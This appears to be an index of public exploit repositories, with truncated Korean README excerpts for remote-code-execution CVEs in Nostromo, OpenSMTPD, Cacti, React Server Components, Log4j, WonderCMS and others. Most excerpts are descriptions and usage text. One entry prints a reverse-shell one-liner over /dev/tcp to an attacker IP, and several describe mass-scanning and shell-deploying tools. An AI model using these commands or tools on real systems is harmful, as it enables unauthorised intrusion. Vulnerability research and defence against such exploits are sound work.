CVE-2019-16278-Nostromo_1.9.6-RCE

CVE-2019-16278 - Nostromo 1.9.6 원격 코드 실행 Nostromo nhttpd = 1.9.6의 RCE를 익스플로잇하는 Python 스크립트 도움말 usage: CVE-2019-16278.py -h -t TARGET -p PORT -c COMMAND -b BYTES Exploit for CVE-2019-16278 - Nostromo 1.9.6 RCE optional arguments: -h, --help 이 도움말 메시지를 표시하고 종료합니다 -t TARGET, --target TARGET 대상 원격 호스...

CVE-2025-55182

React2Shell: CVE-2025-55182 분석서 저자: Kavienan J 취약점 발견자: lachlan2k, React 팀에 책임감 있게 공개했습니다. 이 취약점에 대한 업데이트는 다음에서 확인하세요: react2shell.com 목차 1. 소개 2. 배경 3. ReactFlightReplyServer.js 이해하기 4. 첫 번째 페이로드 제작 5. 가짜 청크 6. 모든 것이 통제 하에 7. 익스플로잇 8. 수정 사항 소개 CVE-2025-55182 는 심각도 10.0/10.0 으로 평가되었습니다. 공개된 PoC를...

CVE-2020-7247

CVE-2020-7247 이 취약점은 OpenBSD 메일 서버 OpenSMTPD의 smtpmailaddr 함수에 존재하며, OpenBSD 버전 6.6에 영향을 미칩니다. 이를 통해 공격자는 root 사용자 권한으로 "sleep 66"과 같은 임의의 셸 명령어를 실행할 수 있습니다. 사용 방법 python3 getShell.py 리버스 셸이 필요하다면 다음과 같이 실행하세요. python3 getShell.py 'bash -c "exec bash -i & /dev/tcp/IP/PORT &1"' 중요 이 익스플로잇에서 RCPT t...

CVE-2021-45232-RCE

Apache APISIX 대시보드 RCE usage: -h -u URL -p PORT -c CMD optional arguments: -h, --help show this help message and exit -u URL, --url URL target url e.g: http://127.0.0.1:9000 -p PORT, --port PORT apisix management port default: 9080 -c CMD, --cmd CMD command default: ifconfig 참고...

CVE-2024-7808

CVE-2024-7808 💀 $$\colorred 이 \space 익스플로잇은 \space 법을 \space 위반할 \space 수 \space 있습니다.$$ $$\colorred\space 당신은 \space 당신의 \space 행동에 \space 대해 \space 책임이 \space 있습니다.$$ $$\colorred시연 \space 목적 \space 전용.$$ 설명 open-webui에서 비관리자 사용자에 의한 CSRF를 통한 RCE 는 공격자가 내장된 자바스크립트가 포함된 악성 HTML 문서를 전송하여 역방향 셸을 포함...

CVE-2022-46169

CVE-2022-46169 CVE-2022-46169는 네트워크 모니터링 및 관리 소프트웨어인 Cacti에서 발견된 보안 취약점입니다. 이 취약점은 공격자가 특별히 조작된 HTTP 요청을 전송하여 인증 없이 원격으로 시스템을 악용할 수 있도록 합니다. 이 취약점을 이용하면 공격자는 대상 시스템에서 임의의 시스템 명령을 실행할 수 있습니다. 이는 권한이 없는 개인이 영향을 받은 시스템을 제어하고 상승된 권한으로 악의적인 활동을 수행할 수 있게 하므로 심각한 위험을 초래합니다. 이 취약점은 remoteagent.php에 존재합니다...

CVE-2025-55182-Scanner

CVE-2025-55182 - React Server Components RCE 스캐너 CVE-2025-55182에 대한 포괄적인 보안 테스트 도구입니다. React Server Components의 심각한 사전 인증 원격 코드 실행 취약점입니다. 🎓 새로운 기능: 완전한 교육 가이드 제공! 이 취약점을 100% 이해하고 싶으신가요? 📖 완전한 기술 분석 읽기 - 알아야 할 모든 것: React가 서버에서 실행되는 이유 브라우저만이 아닙니다! 시각적 다이어그램을 통한 공격 작동 방식 익스플로잇의 모든 라인 설명 초보자 개념부터...

CVE-2025-7441

CVE-2025-7441 StoryChief data - sizes - full 필드에 임의의 URL을 가리키는 수신 JSON 페이로드publish 이벤트를 수락합니다. StoryChief는 충분한 파일 유형/콘텐츠 검증을 수행하지 않거나 URL 소스를 제한하지 않으므로, 플러그인이 원격 리소스를 가져와 사이트의 업로드 디렉토리에 저장할 수 있습니다. 실행 가능한 코드가 포함된 파일의 저장을 방지하기 위한 검증이 부족합니다. 🛠️ 익스플로잇 스크립트 — 기능 설명 취약점 매핑 이 섹션은 익스플로잇 스크립트별도 제공를 높은 수준에...

CVE-2023-33817---SQL-Injection-found-in-HotelDruid-3.0.5

CVE-2023-33817 - HotelDruid V3.0.5에서 발견된 SQL 인젝션 HotelDruid v3.0.5는 SQL 인젝션에 취약합니다. 공격자는 임의의 SQL 명령을 실행하여 데이터베이스의 데이터를 검색하거나 대상 데이터베이스 시스템에서 원격 코드 실행을 수행할 수 있습니다. 이것은 제 두 번째 저장소입니다. 설명이 부족하더라도 너그럽게 봐주세요. 제품 설명: HotelDruid는 DigitalDruid.Net에서 개발한 호텔 관리용 오픈소스 프로그램부동산 관리 소프트웨어입니다. 취약점 설명: 이 웹 애플리케이션...

CVE-2025-20029-simulation

🔐 재현 가능한 공격 시뮬레이션 – CVE-2025-20029 ⚠️ 이 저장소는 안전하고 통제된 환경 에서 CVE-2025-20029를 시뮬레이션합니다. 실제 F5 BIG-IP 시스템과 상호작용하거나 프로덕션 서비스를 악용하지 않습니다. 목적은 교육적입니다: 취약점 패턴을 연구하고 페이로드를 안전하게 테스트하는 것입니다. 🛠 CVE-2025-20029 정보 CVE-2025-20029는 F5 BIG-IP 시스템에 영향을 미치는 높은 심각도의 명령 주입 취약점입니다. 이 문제는 iControl REST API 에 있으며, 특정...

log4j-cve-2021-44228

Log4j CVE-2021-44228 및 CVE-2021-45046 요구 사항 취약한 JDK를 사용하세요. 예: JDK 1.8.0181 사용법 악성 서버 악성 서버는 다음 엔드포인트를 배포합니다: 1389 LDAP 서버 1099 RMI 서버 8081 HTTP 서버 ./gradlew :malicious-server:bootRun 취약한 애플리케이션 취약한 애플리케이션은 8082 포트에 하나의 HTTP 엔드포인트를 배포합니다. ./gradlew :vulnerable-app:bootRun 원격 코드 실행 취약한 앱에서 실행할 페이로...

CVE-2022-22947-Rce_POC

CVE-2022-22947-RcePOC 대량 URL 검사 Spring-Cloud-Gateway-CVE-2022-22947 사용 방법 py Spring-Cloud-Gateway.py UrlsPath 실행이 완료되면 gateway.log 파일이 생성됩니다. "＋", "－", "＊"는 각각 존재, 미존재, 요청 이상을 나타냅니다...

CVE-2021-27928-POC

CVE-2021-27928 POC 설명 MariaDB 10.210.2.37 이전, 10.310.3.28 이전, 10.410.4.18 이전, 10.510.5.9 이전, 2021-03-03 기준 Percona Server, 그리고 2021-03-03 기준 MySQL용 wsrep 패치에서 원격 코드 실행 문제가 발견되었습니다. 신뢰할 수 없는 검색 경로로 인해 eval 주입이 발생하며, 데이터베이스 SUPER 사용자는 wsrepprovider와 wsrepnotifycmd를 수정한 후 OS 명령을 실행할 수 있습니다. 참고: 이 문제...

CVE-2025-59712_CVE-2025-59713

CVE-2025-59712 및 CVE-2025-59713에 대한 PoC 이 PoC는 CVE-2025-59712User-Agent 헤더의 XSS와 CVE-2025-59713안전하지 않은 역직렬화을 악용하는 자동화 스크립트를 제공합니다. 배경 이 두 취약점은 Snipe-IT 소프트웨어에 대한 취약점 연구 중 Synacktiv에 의해 발견되었습니다. Snipe-IT는 Laravel 기반의 오픈소스 자산 관리 시스템으로, 조직이 물리적 및 디지털 자산을 추적하고 관리할 수 있도록 설계되었습니다. 기술적인 분석 내용은 Synacktiv...

CVE-2026-3891-Pix-for-WooCommerce-Plugin-Exploit

CVE-2026-3891-Pix-for-WooCommerce-Plugin-Exploit 🛡️ 설명 CVE-2026-3891 은 Pix for WooCommerce WordPress 플러그인의 1.5.0 및 이전 버전 에서 발견된 치명적인 인증되지 않은 임의 파일 업로드Unauthenticated Arbitrary File Upload 취약점입니다. 이 취약점은 lknpixforwoocommercec6savesettings 기능에 존재하며, 인증 제어 누락과 불충분한 파일 유형 검증으로 인해 발생합니다. 이 익스플로잇은 유효한...

CVE-2020-10239

HK 제작 CVE-2020-10239: comfields SQL 필드의 부적절한 접근 제어 - RCE PoC 영향을 받는 버전: Joomla 코어 3.7.0 3.9.15 사용자 요구 사항: Manager 계정백엔드 최저 권한 접근 권한 획득: Manager에서 Superadmin으로 변경한 후 RCE 트리거 Joomla에서 원격 코드 실행 RCE 자신의 자격 증명과 액세스 링크로 cve202010239.py 실행:...

CVE-2023-41425-RCE-WonderCMS-4.3.2

🚨 WonderCMS RCE 익스플로잇 도구 CVE-2023-41425 이 Python 기반 공격 보안 도구는 WonderCMS 4.3.2 의 원격 코드 실행RCE 취약점CVE-2023-41425을 자동으로 익스플로잇합니다. 악성 ZIP 테마 모듈을 제작하고 JavaScript 기반 XSS 페이로드 를 전달하여 관리자 세션을 탈취하고 PHP 리버스 셸을 배포하는 과정을 간소화합니다. ⚠️ 교육 및 승인된 보안 테스트 목적으로만 사용하세요. 📚 목차 ⚙️ 기능 📥 설치 및 요구 사항 🚀 사용 예제 🧾 인수 참조 🧠 상세 워크플로우...

CVE-2024-6782

CVE-2024-6782 Calibre 원격 코드 실행CVE-2024-6782. Calibre 6.9.0 7.14.0의 부적절한 접근 제어로 인해 인증되지 않은 공격자가 원격 코드 실행을 달성할 수 있습니다...

react2shellpoc

이 저장소는 특정 부류의 React Server Component 취약점이 통제된 합법적 교육 환경 내에서 어떻게 동작하는지 보여주는 개념 증명proof-of-concept을 포함하고 있습니다. 매뉴얼 ┌──kali㉿kali-/Documents/tools/2025-55182 └─$ python exploit.py -h /\ /\ /\ /\ /\ /\ || CVE-2025-55182 React Server Components RCE usage: exploit.py -h -t URL -c CMD options: -h, --help...

CVE-2023-22527

저는 불법 공격에 대해 책임지지 않습니다 CVE-2023-22527 대량 스캔 스크립트 도움말 usage: python3 CVE-2023-22527.py -u -f -c options: -h, --help show this help message and exit -u TARGET, --target TARGET Target URL -f FILE, --file FILE URL file -c CMD, --cmd CMD Commands to execute -t THREAD, --thread THREAD Number of threads...